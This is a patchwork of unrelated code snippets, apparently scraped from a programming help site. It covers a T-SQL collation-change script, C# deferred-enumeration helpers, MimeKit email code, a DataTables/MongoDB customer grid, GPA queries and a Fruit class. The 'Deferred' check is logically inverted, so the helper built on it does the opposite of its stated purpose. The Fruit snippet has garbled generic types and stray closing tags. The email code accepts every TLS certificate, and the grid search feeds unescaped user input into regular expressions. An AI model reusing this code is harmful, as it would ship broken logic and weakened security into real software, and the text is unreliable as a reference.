 ,(Select Name From syscolumns Where ID=A.rkeyid And colorder=A.rkey)As FColumn,OBJECTPROPERTY(a.constid, N'CnstIsDeleteCascade') As DeleteAction 
 ,OBJECTPROPERTY(a.constid, N'CnstIsUpdateCascade') As UpdateAction 
 FROM sysforeignkeys A JOIN SYSCOLUMNS B ON A.fkey =B.colid AND A.fkeyid=B.id JOIN SYSCOLUMNS C ON A.keyno=C.colid AND A.rkeyid=C.id 
 left join sysobjects a1 on a1.id=A.constid 
 left join sysobjects a2 on a2.id=A.fkeyid 
 left join sysobjects a3 on a3.id=A.rkeyid 
 inner Join (select * From sysobjects where xtype='U')f on a2.id=f.id)a 
 Insert into @Tb(CreateQry,DeleteQry) 
 select 'if((Select Count(*) From sysobjects where name='''+CONSTRAINT_NAME+''')=0) ALTER TABLE dbo.'+TABLE_NAME+' ADD  CONSTRAINT ['+CONSTRAINT_NAME+'] PRIMARY KEY CLUSTERED (['+COLUMN_NAME+'] ASC)ON [PRIMARY]', 
 'if((Select Count(*) From sysobjects where name='''+CONSTRAINT_NAME+''')&gt;0) ALTER TABLE dbo.'+TABLE_NAME+' DROP CONSTRAINT ['+CONSTRAINT_NAME+']' 
 FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE 
 WHERE OBJECTPROPERTY(OBJECT_ID(CONSTRAINT_SCHEMA + '.' + QUOTENAME(CONSTRAINT_NAME)), 'IsPrimaryKey') = 1 
 Insert into @Tb(CreateQry,DeleteQry) 
 select dbo.TmpGetObjectStatement(a.ID) As BuildQry,(CASE a.xtype 
 When 'FN' Then 'if((Select count(*) From sysobjects where name='''+oname+''')&gt;0) Drop Function '+oname 
 When 'TF' Then 'if((Select count(*) From sysobjects where name='''+oname+''')&gt;0) Drop Function '+oname 
 When 'P' Then 'if((Select count(*) From sysobjects where name='''+oname+''')&gt;0) Drop Procedure '+oname 
 When 'V' Then 'if((Select count(*) From sysobjects where name='''+oname+''')&gt;0) Drop View '+oname 
 End)As DeleteQry From 
 (select b.xtype,b.ID,b.name as oname from dbo.syscomments a 
 Left Join sysobjects b On a.id=b.id 
 left join syscolumns c on b.parent_obj=c.id and a.colid=c.colid 
 where b.xtype='FN' or b.xtype='P' or b.xtype='TF' or b.xtype='V' 
 group by b.xtype,b.ID,b.name)a 
 Order By a.xtype 
 Insert into @Tb(CreateQry,DeleteQry) 
 Select 'ALTER TABLE dbo.'+b.name+' WITH CHECK ADD  CONSTRAINT ['+a.name+'] CHECK  ('+a.definition+') 
 ALTER TABLE dbo.'+b.name+' CHECK CONSTRAINT ['+a.name+']' As BuildQry, 
 'if((Select count(*) From sysobjects where name='''+a.name+''')&gt;0)ALTER TABLE dbo.'+b.name+' DROP CONSTRAINT ['+a.name+']' As DeleteQry 
 From sys.check_constraints a 
 Left Join sysobjects b On a.parent_object_id=b.id 
 Insert into @Tb(CreateQry,DeleteQry) 
 select (CASE a.xtype When 'PK' Then 'if((Select Count(*) From sysobjects where name='''+a.name+''')=0) begin ALTER TABLE dbo.'+c.name+' ADD  CONSTRAINT ['+a.name+'] PRIMARY KEY CLUSTERED 
 ( 
     ['+b.name+'] ASC 
 ) ON [PRIMARY] end' Else 'if((Select Count(*) From sysobjects where name='''+a.name+''')=0) begin ALTER TABLE dbo.'+c.name+' ADD  CONSTRAINT ['+a.name+'] UNIQUE NONCLUSTERED 
 ( 
     ['+b.name+'] ASC 
 ) ON [PRIMARY] end' End)As BuildQry 
 ,'if((Select Count(*) From sysobjects where name='''+a.name+''')&gt;0)ALTER TABLE dbo.'+c.name+' DROP CONSTRAINT ['+a.name+']' As DeleteQry 
 From sysobjects a 
 left join sysobjects c on a.parent_obj=c.id 
 left join sysindexes d on c.id=d.id 
 left join syscolumns b on c.id=b.id and d.indid=b.colid 
 where a.xtype='UQ' Or a.xtype='PK' 
 DECLARE C_tmp CURSOR READ_ONLY FAST_FORWARD FOR 
     select DeleteQry From @Tb 
 OPEN C_tmp 
 FETCH NEXT FROM C_tmp INTO @Q 
 WHILE (@@FETCH_STATUS = 0) 
 BEGIN 
     begin try 
         exec(@Q) 
     end try 
     begin catch 
         Insert Into @ErrTb(Qry,Err)Values(@Q,ERROR_MESSAGE()) 
     end catch 
     FETCH NEXT FROM C_tmp INTO @Q 
 END 
 CLOSE C_tmp 
 Deallocate C_tmp 
 declare @Rtn int 
 Set @Rtn=15 
 While((Select Count(*) From @ErrTb)&gt;0 And @Rtn&gt;0) 
 begin 
     Select Count(*)As Errors From @ErrTb 
     DECLARE C_tmp CURSOR READ_ONLY FAST_FORWARD FOR 
         select ID,Qry From @ErrTb 
     OPEN C_tmp 
     FETCH NEXT FROM C_tmp INTO @ErID,@Q 
     WHILE (@@FETCH_STATUS = 0) 
     BEGIN 
         begin try 
             exec(@Q) 
             Delete From @ErrTb Where ID=@ErID 
         end try 
         begin catch 
             --Select @Q,ERROR_MESSAGE() 
         end catch 
         FETCH NEXT FROM C_tmp INTO @ErID,@Q 
     END 
     CLOSE C_tmp 
     Deallocate C_tmp 
     Set @Rtn=@Rtn-1 
 end 
 exec('alter database ['+@Dt+'] COLLATE '+@C) 
 Set @C='Arabic_CI_AS'--Arabic_CI_AS 
 DECLARE C_tmp CURSOR READ_ONLY FAST_FORWARD FOR 
     Select 
     'Alter Table ['+a.tbl+'] Alter Column ['+a.name+'] '+coltype+ 
     (CASE When a.length&lt;=0 Then '(max)' 
     When a.xtype=231 Then '('+CONVERT(varchar(15),a.length/2)+')' 
     When a.xtype=167 Then '('+CONVERT(varchar(15),a.length)+')' 
     Else '' End ) 
     +' COLLATE '+@C+a.Info1 As Stmnt From 
     (select b.name As coltype,(CASE a.isnullable When 0 Then ' Not Null ' Else ' Null ' End) As Info1,c.name As tbl,a.* From syscolumns a 
     Inner join sysobjects c on a.id=c.id 
     left join systypes b on a.xtype=b.xtype 
     Where a.id&gt;1000 And a.collation is not null and c.xtype='U' And b.name!='sysname')a Order By a.tbl 
 OPEN C_tmp 
 FETCH NEXT FROM C_tmp INTO @Q 
 WHILE (@@FETCH_STATUS = 0) 
 BEGIN 
     begin try 
         exec(@Q) 
     end try 
     begin catch 
         Insert Into @ErrTb(Qry,Err)Values(@Q,ERROR_MESSAGE()) 
     end catch 
     FETCH NEXT FROM C_tmp INTO @Q 
 END 
 CLOSE C_tmp 
 Deallocate C_tmp 
 DECLARE C_tmp CURSOR READ_ONLY FAST_FORWARD FOR 
     select CreateQry From @Tb 
 OPEN C_tmp 
 FETCH NEXT FROM C_tmp INTO @Q 
 WHILE (@@FETCH_STATUS = 0) 
 BEGIN 
     begin try 
         exec(@Q) 
     end try 
     begin catch 
         Insert Into @ErrTb(Qry,Err)Values(@Q,ERROR_MESSAGE()) 
     end catch 
     FETCH NEXT FROM C_tmp INTO @Q 
 END 
 CLOSE C_tmp 
 Deallocate C_tmp 
 Set @Rtn=15 
 While((Select Count(*) From @ErrTb)&gt;0 And @Rtn&gt;0) 
 begin 
     Select Count(*)As Errors From @ErrTb 
     DECLARE C_tmp CURSOR READ_ONLY FAST_FORWARD FOR 
         select ID,Qry From @ErrTb 
     OPEN C_tmp 
     FETCH NEXT FROM C_tmp INTO @ErID,@Q 
     WHILE (@@FETCH_STATUS = 0) 
     BEGIN 
         begin try 
             exec(@Q) 
             Delete From @ErrTb Where ID=@ErID 
         end try 
         begin catch 
             --Select @Q,ERROR_MESSAGE() 
         end catch 
         FETCH NEXT FROM C_tmp INTO @ErID,@Q 
     END 
     CLOSE C_tmp 
     Deallocate C_tmp 
     Set @Rtn=@Rtn-1 
 end 
 exec('alter database ['+@Dt+'] SET MULTI_USER') 
 if((Select Count(*) From sysobjects where name='TmpGetObjectStatement')&gt;0) 
     Drop Function dbo.TmpGetObjectStatement 
 Select * From @ErrTb</pre>


<pre lang="C#">
    
    // Namespaces omitted.
    
    class Program
    {
        static void Main(string[] args)
        {
            var files = ListAllFileInfos();

            if (!files.Any())
            {
                Console.WriteLine("No file is found in current directory.");
            }
            else
            {
                Console.WriteLine($"{files.Count()} files are found in current directory:");
                Console.WriteLine("-------");
                
                foreach(var file in files)
                {
                    Console.WriteLine(file.Name);
                    Console.WriteLine($"{file.Length} bytes");
                    Console.WriteLine($"Modified at {file.LastWriteTime}");
                    Console.WriteLine();
                }   
            }
        }

        static IEnumerable&lt;FileInfo&gt; ListAllFileInfos()
        {
            foreach(var filename in Directory.EnumerateFiles(Environment.CurrentDirectory))
            {
                yield return new FileInfo(filename);
            }   
        }
    }

</pre>


<pre lang="C#">
    public static partial class DeferredEnumerable
    {
        public static bool Deferred&lt;T&gt;(this IEnumerable&lt;T&gt; source)
        {   
            return source is ICollection&lt;T&gt; || source is IReadOnlyCollection&lt;T&gt; 
              || source is ICollection;
        }
    }

</pre>


<pre lang="C#">
    
    public static partial class DeferredEnumerable
    {
        public static IEnumerable&lt;T&gt; ExecuteIfDeferred&lt;T&gt;(this IEnumerable&lt;T&gt; source)
        {
            if (source is null) throw new ArgumentNullException(nameof(source));

            return source.Deferred() ? source.ToList() : source;
            // You may replace ToList() with ToArray().
        }
    }
    
</pre>


<pre lang="C#">
    
    // Namespaces omitted.
    
    class Program
    {
        static void Main(string[] args)
        {
            var files = ListAllFileInfos().ExecuteIfDeferred(); // Here is the change! 

            if (!files.Any())
            {
                Console.WriteLine("No file is found in current directory.");
            }
            else
            {
                Console.WriteLine($"{files.Count()} files are found in current directory:");
                Console.WriteLine("-------");
                
                foreach(var file in files)
                {
                    Console.WriteLine(file.Name);
                    Console.WriteLine($"{file.Length} bytes");
                    Console.WriteLine($"Modified at {file.LastWriteTime}");
                    Console.WriteLine();
                }   
            }
        }

        static IEnumerable&lt;FileInfo&gt; ListAllFileInfos()
        {
            foreach(var filename in Directory.EnumerateFiles(Environment.CurrentDirectory))
            {
                yield return new FileInfo(filename);
            }   
        }
    }

</pre>


<pre lang="C#">
                var message = new MimeMessage();
                message.From.Add(new MailboxAddress("Mr Test", "me@myaddress.co.uk"));
                message.To.Add(new MailboxAddress("Mrs Recipient Name", "them@gmail.com"));
                message.Subject = "Weekly report from system";

                message.Body = new TextPart("plain")
                {

                    Text = @"Hi there, your weekly test message is available here"
                };</pre>


<pre lang="C#">
            try
            {
                using (var smclient = new SmtpClient())
                {
                // For demo-purposes, accept all SSL certificates (in case the server supports STARTTLS)
                smclient.ServerCertificateValidationCallback = (s, c, h, e) =&gt; true;
                <strong>smclient.Connect(y, 25, false);</strong>

                // Note: only needed if the SMTP server requires authentication
                //mclient.Authenticate("joey", "password");
                <strong>smclient.Send(message);
                smclient.Disconnect(true);</strong>
                break; // assuming we get to this point, we have sent the message... else will fail
                    }
                }

</pre>


<pre lang="HTML">
&lt;table id="grid" class="table table-striped small stripe hover cell-border compact order-column row-border" cellspacing="0" style="font-size: small;"&gt;
                    &lt;thead&gt;
                        &lt;tr&gt;

                            &lt;th width="20%"&gt;Company&lt;/th&gt;
                            &lt;th width="15%"&gt;Contact Person&lt;/th&gt;
                            &lt;th width="7%"&gt;Phone&lt;/th&gt;
                            &lt;th width="7%"&gt;Fax&lt;/th&gt;
                            &lt;th width="10%"&gt;City&lt;/th&gt;
                            &lt;th width="10%"&gt;Region&lt;/th&gt;
                            &lt;th width="5%"&gt;Status&lt;/th&gt;
                            &lt;th width="14%"&gt;Date&lt;/th&gt;
                            &lt;th width="12%"&gt;Balance&lt;/th&gt;
                        &lt;/tr&gt;
                        &lt;tr id="filterrow" class="hidden-xs hidden-sm"&gt;
                            &lt;th width="20%" style="padding:0px 0px;border:0px;"&gt;&lt;/th&gt;
                            &lt;th width="15%" style="padding: 0px 0px; border: 0px;"&gt;&lt;/th&gt;
                            &lt;th width="7%" style="padding: 0px 0px; border: 0px;"&gt;&lt;/th&gt;
                            &lt;th width="7%" style="padding: 0px 0px; border: 0px;"&gt;&lt;/th&gt;
                            &lt;th width="10%" style="padding: 0px 0px; border: 0px;"&gt;&lt;/th&gt;
                            &lt;th width="10%" style="padding: 0px 0px; border: 0px;"&gt;&lt;/th&gt;
                            &lt;th width="5%" style="padding: 0px 0px; border: 0px;"&gt;&lt;/th&gt;
                            &lt;th width="14%" style="padding: 0px 0px; border: 0px;"&gt;&lt;/th&gt;
                            &lt;th width="14%" style="padding: 0px 0px; border: 0px;text-align:center"&gt;&lt;/th&gt;
                        &lt;/tr&gt;
                    &lt;/thead&gt;
                &lt;/table&gt;
</pre>


<pre lang="JavaScript">
var _columnFilterManifest =  JSON.parse( @Html.Raw(Json.Encode( ViewData["columnFilterManifest"].ToString()  ) ) );

    $(document).ready(function () {
        setGridFilters('grid',_columnFilterManifest);

        var table = $('#grid').DataTable({
            "order": [[1, "asc"]],
            "orderCellsTop": true,
            "pagingType": "full_numbers",
            "scrollCollapse": true,
            rowReorder: {
                selector: 'td:nth-child(2)'
            },
            responsive: true,
            "processing": true,
            "serverSide": true,
            "lengthMenu": [[10,15,25, 50], [10,15,25, 50]],
            "ajax": "/Customer/GetPage",
            "columns": [
           { "data": "company" },
           { "data": "contactPerson" },
           { "data": "phone" },
           { "data": "fax" },
           { "data": "city" },
           { "data": "region" },
           { "data": "status" },
           { "data": "createdDate" },
           { "data": "balance" },
            ],
            "columnDefs": [
                   {
                       "render": function (data, type, row) {
                           return accounting.formatMoney(data);
                       },
                       "targets": 8
                   },


                    {
                    "render": function (data, type, row) {
                    return moment(data).format("MM/DD/YYYY");
                        },
                        "targets": 7
                    },

                    { "className": "dt-right", "targets": 8 },


            ],

     
            "autoWidth": false,
        });

        initGridFilter(table, 'grid');
                
    });
</pre>


<pre lang="C#">
/// &lt;summary&gt;
/// Default page controller method
/// &lt;/summary&gt;
/// &lt;returns&gt;&lt;/returns&gt;
public ActionResult Index()
{
    BusinessLogic.Entity.Customer objCust = new BusinessLogic.Entity.Customer();
    ViewData["columnFilterManifest"] = 
          new JavaScriptSerializer().Serialize(objCust.GetColumnFilterManifest());
    return View("list");
}</pre>


<pre lang="C#">
/// &lt;summary&gt;
/// Provides grid paginated records as JSON
/// &lt;/summary&gt;
/// &lt;returns&gt;DataTables paginated data&lt;/returns&gt;
public JsonResult GetPage()
{
    int draw = Convert.ToInt32(Request["draw"]);
            BusinessLogic.Entity.Customer objCust = new BusinessLogic.Entity.Customer();
            CustomerGrid[] customers = objCust.Search(this);
    return Json(new
            {
                data = customers,
                recordsTotal = base.GetGridTotalRows(),
                recordsFiltered = base.GetGridTotalRows(),
                draw = draw
            },
            "application/json", Encoding.UTF8, JsonRequestBehavior.AllowGet);
}</pre>


<pre lang="C#">
        #region Document Search
        /// &lt;summary&gt;
        /// Get list of filtered customers
        /// &lt;/summary&gt;
        /// &lt;param name="iBaseController"&gt;Interface of invoke class&lt;/param&gt;
        /// &lt;returns&gt;Customer array&lt;/returns&gt;
        public virtual CustomerGrid[] Search(IBaseController iBaseController)
        {
            GridParameterCollector gridParamCollet = iBaseController.GenerateGridParameterCollector();
            IMongoCollection&lt;CustomerGrid&gt; collection = database.GetCollection&lt;CustomerGrid&gt;("Customer");
            List&lt;FilterDefinition&lt;CustomerGrid&gt;&gt; filterDef = new List&lt;FilterDefinition&lt;CustomerGrid&gt;&gt;(); ;

            genericSearchText = gridParamCollet.searchText.Trim();      // set generic search value


            //Iterate through filter grid column to consturct query predicate
            foreach (ColumnParameterCollector column in gridParamCollet.columnCollector)
            {
                searchColumnText = column.columnSearchText.Trim();      // set current column search value
                switch (column.dataName)
                {

                    case "company":
                        string companyColumnText = searchColumnText;
                        string companyGenericText = genericSearchText;

                        EvaluateFilterMongoDBExpression(column,
                           Builders&lt;CustomerGrid&gt;.Filter.Regex(u =&gt; u.company, new BsonRegularExpression(companyColumnText + "*", "i")),
                           Builders&lt;CustomerGrid&gt;.Filter.Regex(u =&gt; u.company, new BsonRegularExpression(companyGenericText + "*", "i")),
                           x =&gt; x.company
                           );
                        break;




                    case "contactPerson":
                        string contactPersonColumnText = searchColumnText;
                        string contactPersonGenericText = genericSearchText;

                        EvaluateFilterMongoDBExpression(column,
                           Builders&lt;CustomerGrid&gt;.Filter.Regex(u =&gt; u.contactPerson, new BsonRegularExpression(contactPersonColumnText + "*", "i")),
                           Builders&lt;CustomerGrid&gt;.Filter.Regex(u =&gt; u.contactPerson, new BsonRegularExpression(contactPersonGenericText + "*", "i")),
                           x =&gt; x.contactPerson
                           );
                        break;

                    case "phone":
                        string phoneColumnText = searchColumnText;
                        string phoneGenericText = genericSearchText;

                        EvaluateFilterMongoDBExpression(column,
                           Builders&lt;CustomerGrid&gt;.Filter.Regex(u =&gt; u.phone, new BsonRegularExpression(phoneColumnText + "*", "i")),
                           Builders&lt;CustomerGrid&gt;.Filter.Regex(u =&gt; u.phone, new BsonRegularExpression(phoneGenericText + "*", "i")),
                           x =&gt; x.phone
                           );
                        break;

                    case "fax":
                        string faxColumnText = searchColumnText;
                        string faxGenericText = genericSearchText;

                        EvaluateFilterMongoDBExpression(column,
                           Builders&lt;CustomerGrid&gt;.Filter.Regex(u =&gt; u.fax, new BsonRegularExpression(faxColumnText + "*", "i")),
                           Builders&lt;CustomerGrid&gt;.Filter.Regex(u =&gt; u.fax, new BsonRegularExpression(faxGenericText + "*", "i")),
                           x =&gt; x.fax
                           );
                        break;

                    case "city":
                        string cityColumnText = searchColumnText;
                        string cityGenericText = genericSearchText;

                        EvaluateFilterMongoDBExpression(column,
                           Builders&lt;CustomerGrid&gt;.Filter.Regex(u =&gt; u.city, new BsonRegularExpression(cityColumnText + "*", "i")),
                           Builders&lt;CustomerGrid&gt;.Filter.Regex(u =&gt; u.city, new BsonRegularExpression(cityGenericText + "*", "i")),
                           x =&gt; x.city
                           );
                        break;

                    case "region":
                        string regionColumnText = searchColumnText;
                        string regionGenericText = genericSearchText;

                        EvaluateFilterMongoDBExpression(column,
                           Builders&lt;CustomerGrid&gt;.Filter.Regex(u =&gt; u.region, new BsonRegularExpression(regionColumnText + "*", "i")),
                           Builders&lt;CustomerGrid&gt;.Filter.Regex(u =&gt; u.region, new BsonRegularExpression(regionGenericText + "*", "i")),
                           x =&gt; x.region
                           );
                        break;


                    case "status":
                        string statusColumnText = searchColumnText;
                        string statusGenericText = genericSearchText;

                        System.Linq.Expressions.Expression&lt;Func&lt;CustomerGrid, bool&gt;&gt; jobStatusFilterExpression = null;

                        if (searchColumnText.Length != 0 &amp;&amp; searchColumnText != "-1")
                        {
                            jobStatusFilterExpression = x =&gt; x.status == statusColumnText;
                        }

                        EvaluateFilterMongoDB(column,
                           jobStatusFilterExpression,
                           x =&gt; x.status.Equals(statusGenericText),
                           x =&gt; x.status
                           );
                        break;

                    case "createdDate":
                        if (searchColumnText.Trim().Length == 0)
                        {
                            if (column.isColumnOrderable)
                            {
                                EvaluateFilterMongoDB(column,
                                null,
                                null,
                                x =&gt; x.createdDate
                                );
                            }

                            continue;
                        }
                        string[] firstSplit = searchColumnText.Split(',');

                        if (firstSplit[0] == "false")
                        {
                            continue;
                        }

                        string creationDateRangeColumnText = firstSplit[1];// searchColumnText;
                        string[] creationDateRangeSplit = creationDateRangeColumnText.Split('-');
                        DateTime startDate = DateTime.Parse(creationDateRangeSplit[0]);
                        DateTime endDate = DateTime.Parse(creationDateRangeSplit[1]);

                        EvaluateFilterMongoDB(column,
                            x =&gt; x.createdDate &gt;= startDate &amp;&amp; x.createdDate &lt;= endDate,
                            x =&gt; x.createdDate &gt;= startDate &amp;&amp; x.createdDate &lt;= endDate,
                            x =&gt; x.createdDate
                            );
                        break;

                    case "balance":
                        string balanceColumnText = searchColumnText;

                        if (searchColumnText.Trim().Length == 0)
                        {
                            if (column.isColumnOrderable)
                            {
                                EvaluateFilterMongoDB(column,
                                null,
                                null,
                                x =&gt; x.balance
                                );
                            }

                            continue;
                        }


                        string[] str = searchColumnText.Split(',');
                        string strAmount = str[1].Trim();

                        if (strAmount.Trim().Length == 0)
                        {
                            if (column.isColumnOrderable)
                            {
                                EvaluateFilterMongoDB(column,
                                null,
                                null,
                                x =&gt; x.balance
                                );
                            }

                            continue;
                        }

                        double amount = double.Parse(strAmount);


                        EvaluateNumericComparisonFilterMongoDB(column,
                                   balanceColumnText,
                                   "balance",
                                   x =&gt; x.balance,
                                   Builders&lt;CustomerGrid&gt;.Filter.Lte(c =&gt; c.balance, amount),
                                   Builders&lt;CustomerGrid&gt;.Filter.Eq(c =&gt; c.balance, amount),
                                   Builders&lt;CustomerGrid&gt;.Filter.Gte(c =&gt; c.balance, amount)

                        );

                        break;
                }

            }

            FilterDefinition&lt;CustomerGrid&gt; filter = null;  // filter variable

            // If andPreciate is enable
            if (isAndPredicateAdded)
            {
                filter = Builders&lt;CustomerGrid&gt;.Filter.And(andPredicateMongoDB); // andPredicate
            }

            // If orPreciate is enable
            if (isOrPredicateAdded)
            {
                filter = Builders&lt;CustomerGrid&gt;.Filter.Or(orPredicateMongoDB);
            }


            // Set total numbers or rows comming under the query
            if (iBaseController != null)
            {
                int count = 0;

                if (filter == null)
                {
                    count = Convert.ToInt32(collection.Count(x =&gt; x.company != ""));
                }
                else
                {
                    count = Convert.ToInt32(collection.Find(filter).Count());
                }
                iBaseController.SetGridTotalRows(count);
            }

            ProjectionDefinition&lt;CustomerGrid&gt; proj = Builders&lt;CustomerGrid&gt;.Projection
                                                    .Include("Id")
                                                    .Include("company")
                                                    .Include("contactPerson")
                                                    .Include("createdDate")
                                                    .Include("phone")
                                                    .Include("CreatedBy")
                                                    .Include("fax")
                                                    .Include("email")
                                                    .Include("city")
                                                    .Include("region")
                                                    .Include("balance")
                                                    .Include("status")
                                                    ;


            // Slice required rows from pagination
            if (gridParamCollet != null)
            {
                if (filter == null)
                {
                    customers = collection.Find(x =&gt; x.company != "")
                        .Sort(sortDefMongoDB)
                        .Project&lt;CustomerGrid&gt;(proj)
                        .Skip(gridParamCollet.start).Limit(gridParamCollet.length).ToList();
                }
                else
                {
                    customers = collection.Find(filter).Sort(sortDefMongoDB).Project&lt;CustomerGrid&gt;(proj).Skip(gridParamCollet.start).Limit(gridParamCollet.length).ToList();
                }
            }

            //Generating data
            return customers.ToArray();
        }
</pre>


<pre lang="C#">
/// &lt;summary&gt;
/// Summarize querystring object
/// &lt;/summary&gt;
public class GridParameterCollector
{
   public int start{ get; set; }               // Start row index
   public int length{ get; set; }              // Page size
   public string searchText  { get; set; }     // Generic search value
   public bool isSearchRegex { get; set; }     // Generic search expression value

   public List&lt;ColumnParameterCollector&gt; columnCollector { get; set; }
}

/// &lt;summary&gt;
/// Column level querystring object
/// &lt;/summary&gt;
public class ColumnParameterCollector
{
    public int columnIndex  { get; set; }         // Column index
    public string orderDirection { get; set; }    // Order direction asc or desc
    public string dataName   { get; set; }        // Column name
    public string columnName    { get; set; }     // Column name
    public bool isColumnSearchable { get; set; }  // Flag for column is searchable or not
    public bool isColumnOrderable { get; set; }   // Flag for column is orderable or not
    public string columnSearchText { get; set; }  // Column search control value
    public bool isColumnSearchRegex { get; set; } // Column search expression control value
}</pre>


<pre lang="C#">
case "contactPerson":
                        string contactPersonColumnText = searchColumnText;
                        string contactPersonGenericText = genericSearchText;

                        EvaluateFilterMongoDBExpression(column,
                           Builders&lt;CustomerGrid&gt;.Filter.Regex(u =&gt; u.contactPerson, new BsonRegularExpression(contactPersonColumnText + "*", "i")),
                           Builders&lt;CustomerGrid&gt;.Filter.Regex(u =&gt; u.contactPerson, new BsonRegularExpression(contactPersonGenericText + "*", "i")),
                           x =&gt; x.contactPerson
                           );
                        break;
</pre>


<pre lang="C#">
 case "status":
                        string statusColumnText = searchColumnText;
                        string statusGenericText = genericSearchText;

                        System.Linq.Expressions.Expression&lt;Func&lt;CustomerGrid, bool&gt;&gt; jobStatusFilterExpression = null;

                        if (searchColumnText.Length != 0 &amp;&amp; searchColumnText != "-1")
                        {
                            jobStatusFilterExpression = x =&gt; x.status == statusColumnText;
                        }

                        EvaluateFilterMongoDB(column,
                           jobStatusFilterExpression,
                           x =&gt; x.status.Equals(statusGenericText),
                           x =&gt; x.status
                           );
                        break;
</pre>


<pre lang="C#">
case "balance":
                        string balanceColumnText = searchColumnText;

                        if (searchColumnText.Trim().Length == 0)
                        {
                            if (column.isColumnOrderable)
                            {
                                EvaluateFilterMongoDB(column,
                                null,
                                null,
                                x =&gt; x.balance
                                );
                            }

                            continue;
                        }


                        string[] str = searchColumnText.Split(',');
                        string strAmount = str[1].Trim();

                        if (strAmount.Trim().Length == 0)
                        {
                            if (column.isColumnOrderable)
                            {
                                EvaluateFilterMongoDB(column,
                                null,
                                null,
                                x =&gt; x.balance
                                );
                            }

                            continue;
                        }

                        double amount = double.Parse(strAmount);


                        EvaluateNumericComparisonFilterMongoDB(column,
                                   balanceColumnText,
                                   "balance",
                                   x =&gt; x.balance,
                                   Builders&lt;CustomerGrid&gt;.Filter.Lte(c =&gt; c.balance, amount),
                                   Builders&lt;CustomerGrid&gt;.Filter.Eq(c =&gt; c.balance, amount),
                                   Builders&lt;CustomerGrid&gt;.Filter.Gte(c =&gt; c.balance, amount)

                        );

                        break;
</pre>


<pre lang="SQL">
SELECT *
FROM GPA
WHERE GPA_PIDM = stu_pidm.PIDM
AND GPA_GPA_TYPE_IND = 'I'
--AND GPA_GPA_TYPE_IND = 'O'
AND GPA_LEVL_CODE = 'U'
AND GPA_ACTIVITY_DATE = --2017
	(SELECT MAX(X.GPA_ACTIVITY_DATE)
	FROM GPA X
	WHERE X.GPA_PIDM = stu_pidm.PIDM
	AND GPA_GPA_TYPE_IND = 'I'
	--AND GPA_GPA_TYPE_IND = 'O'
)
AND GPA_HOURS_ATTEMPTED = (
	SELECT MAX(X.GPA_HOURS_ATTEMPTED)
	FROM GPA X
	WHERE X.GPA_PIDM = stu_pidm.PIDM
	AND GPA_GPA_TYPE_IND = 'I'
	--AND GPA_GPA_TYPE_IND = 'O'
)
;</pre>


<pre lang="SQL">
SELECT *
FROM GPA
WHERE GPA_PIDM = stu_pidm.PIDM
--AND GPA_GPA_TYPE_IND = 'I'
AND GPA_GPA_TYPE_IND = 'O'
AND GPA_LEVL_CODE = 'U'
AND GPA_ACTIVITY_DATE = --2017
	(SELECT MAX(X.GPA_ACTIVITY_DATE)
	FROM GPA X
	WHERE X.GPA_PIDM = stu_pidm.PIDM
	--AND GPA_GPA_TYPE_IND = 'I'
	AND GPA_GPA_TYPE_IND = 'O'
)
AND GPA_HOURS_ATTEMPTED = (
	SELECT MAX(X.GPA_HOURS_ATTEMPTED)
	FROM GPA X
	WHERE X.GPA_PIDM = stu_pidm.PIDM
	--AND GPA_GPA_TYPE_IND = 'I'
	AND GPA_GPA_TYPE_IND = 'O'
)
;</pre>


<pre lang="SQL">
SELECT *
FROM GPA
WHERE GPA_PIDM = stu_pidm.PIDM
AND GPA_GPA_TYPE_IND = 'I'
--AND GPA_GPA_TYPE_IND = 'O'
AND GPA_LEVL_CODE = 'U'
AND GPA_ACTIVITY_DATE = 2017
	/*(SELECT MAX(X.GPA_ACTIVITY_DATE)
	FROM GPA X
	WHERE X.GPA_PIDM = stu_pidm.PIDM
	AND GPA_GPA_TYPE_IND = 'I'
	--AND GPA_GPA_TYPE_IND = 'O'
)*/
AND GPA_HOURS_ATTEMPTED = (
	SELECT MAX(X.GPA_HOURS_ATTEMPTED)
	FROM GPA X
	WHERE X.GPA_PIDM = stu_pidm.PIDM
	AND GPA_GPA_TYPE_IND = 'I'
	--AND GPA_GPA_TYPE_IND = 'O'
)
;</pre>


<pre lang="SQL">
SELECT *
FROM GPA
WHERE GPA_PIDM = stu_pidm.PIDM
AND GPA_GPA_TYPE_IND = 'I'
--AND GPA_GPA_TYPE_IND = 'O'
AND GPA_LEVL_CODE = 'U'
AND GPA_ACTIVITY_DATE = --2017
	(SELECT MAX(X.GPA_ACTIVITY_DATE)
	FROM GPA X
	WHERE X.GPA_PIDM = stu_pidm.PIDM
	AND GPA_GPA_TYPE_IND = 'I'
	--AND GPA_GPA_TYPE_IND = 'O'
)
/*AND GPA_HOURS_ATTEMPTED = (
	SELECT MAX(X.GPA_HOURS_ATTEMPTED)
	FROM GPA X
	WHERE X.GPA_PIDM = stu_pidm.PIDM
	AND GPA_GPA_TYPE_IND = 'I'
	--AND GPA_GPA_TYPE_IND = 'O'
)*/
;</pre>


<pre lang="XML">
        &lt;PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|AnyCPU'"&gt;
         &lt;LangVersion&gt;latest&lt;/LangVersion&gt;
        &lt;/PropertyGroup&gt;
         
        &lt;PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|AnyCPU'"&gt;
         &lt;LangVersion&gt;latest&lt;/LangVersion&gt;
        &lt;/PropertyGroup&gt;
    </pre>


<pre lang="C++">
    public class Fruit
    {
        public int Id { get; set; }
        public string Name { get; set; }

        private static List&lt;fruit&gt; GetFruits()
        {
            return new List&lt;fruit&gt;
            {
                new Fruit { Id= 1, Name= "Apples" },
                new Fruit { Id= 2, Name= "Apricots" },
                new Fruit { Id= 3, Name= "Avocados" },
                new Fruit { Id= 4, Name= "Bananas" },
                new Fruit { Id= 5, Name= "Boysenberries" },
                new Fruit { Id= 6, Name= "Blueberries" },
                new Fruit { Id= 7, Name= "Bing Cherry" },
                new Fruit { Id= 8, Name= "Cherries" },
                new Fruit { Id= 9, Name= "Cantaloupe" },
                new Fruit { Id= 10, Name= "Crab apples" },
                new Fruit { Id= 11, Name= "Clementine" },
                new Fruit { Id= 12, Name= "Cucumbers" }
            };
        }

        public static async Task&lt;list&lt;fruit&gt;&gt; GetFruitsAsync(CancellationToken cancellationToken = default(CancellationToken))
        {
            return await Task&lt;list&lt;fruit&gt;&gt;.Factory.StartNew(() =&gt;
            {
                return GetFruits();
            });
        }
    }
    &lt;/list&lt;fruit&gt;&lt;/list&lt;fruit&gt;&lt;/fruit&gt;&lt;/fruit&gt;</pre>


